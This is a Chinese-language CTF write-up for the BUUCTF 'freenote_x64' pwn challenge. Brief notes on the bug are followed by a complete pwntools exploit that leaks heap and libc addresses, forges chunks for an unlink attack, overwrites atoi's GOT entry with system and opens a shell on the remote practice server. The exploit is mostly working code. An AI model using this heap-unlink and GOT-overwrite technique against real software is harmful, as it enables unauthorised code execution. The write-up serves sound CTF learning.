远程还没打。
    函数主要逻辑就是先申请一个很大的chunk然后这个chunk存放着你后面申请chunk的一些信息。很多判断也是通过这个chunk来实现,相当于一个我们可见的控制堆块,这对后面构造提供了方向
    主要是这里image.png
    realloc函数会将后面的地址也让你读入,这里对后面unlink有着很大的作用
    漏洞是在
    image.png
    unsorted bin你直接进行double free是有问题的刚开始我尝试了很久最后看了别人的博客才发现他们是通过topchunk来搞的。

    1. from pwn import*
    2. from LibcSearcher import*
    3. #context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. # io =process('./freenote_x64')
    6. io = remote("node4.buuoj.cn",28045)
    7. elf = ELF('./freenote_x64')
    8. libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    9. libc = ELF('libc-2.23.so')
    10. def debug():
    11. gdb.attach(io)
    12. pause()
    13. def creat(length,value):
    14. io.sendlineafter("Your choice: ",'2')
    15. io.sendlineafter("Length of new note: ",str(length))
    16. io.sendafter("Enter your note: ",value)
    17. def edit(id,length,value):
    18. io.sendlineafter("Your choice: ",'3')
    19. io.sendlineafter("Note number: ",str(id))
    20. io.sendlineafter("Length of note: ",str(length))
    21. io.sendafter('Enter your note: ',value)
    22. def show():
    23. io.sendlineafter("Your choice: ",'1')
    24. def free(id):
    25. io.sendlineafter("Your choice: ",'4')
    26. io.sendlineafter("Note number: ",str(id))
    27. creat(0x50,b'a'*0x50)
    28. creat(0x30,b'b'*0x30)
    29. creat(0x50,b'c'*0x50)
    30. creat(0x30,b'd'*0x50)
    31. io.send("\n")
    32. free(0)
    33. free(2)
    34. creat(0x8,b'a'*8)
    35. creat(0x8,b'c'*8)
    36. #show(0)
    37. show()
    38. io.recvuntil("0. aaaaaaaa")
    39. chunk_addr = u64(io.recvuntil("\n")[:-1].ljust(8,"\x00")) -6464+0x30
    40. log.success("chunk_addr--------------->"+hex(chunk_addr))
    41. io.recvuntil("2. cccccccc")
    42. libcbase = u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-3951480
    43. log.success("libcbase----------------------->"+hex(libcbase))
    44. free(1)
    45. free(2)
    46. free(3)
    47. payload = p64(0)+p64(0x81)+p64(chunk_addr-0x18)+p64(chunk_addr-0x10)
    48. payload += b'a'*0x60 + p64(0x80)+p64(0x90)
    49. payload +=b'a'*0x80 + p64(0x90)+p64(0x121)
    50. edit(0,len(payload),payload)
    51. free(1)
    52. #debug()
    53. atoi_got =elf.got["atoi"]
    54. system_addr = libcbase+libc.sym["system"]
    55. payload = p64(0)+p64(1)+p64(8)+p64(atoi_got)
    56. payload +=b'a'*0x100
    57. edit(0,len(payload),payload)
    58. edit(0,len(p64(system_addr)),p64(system_addr))
    59. io.sendline("cat flag")
    60. io.interactive()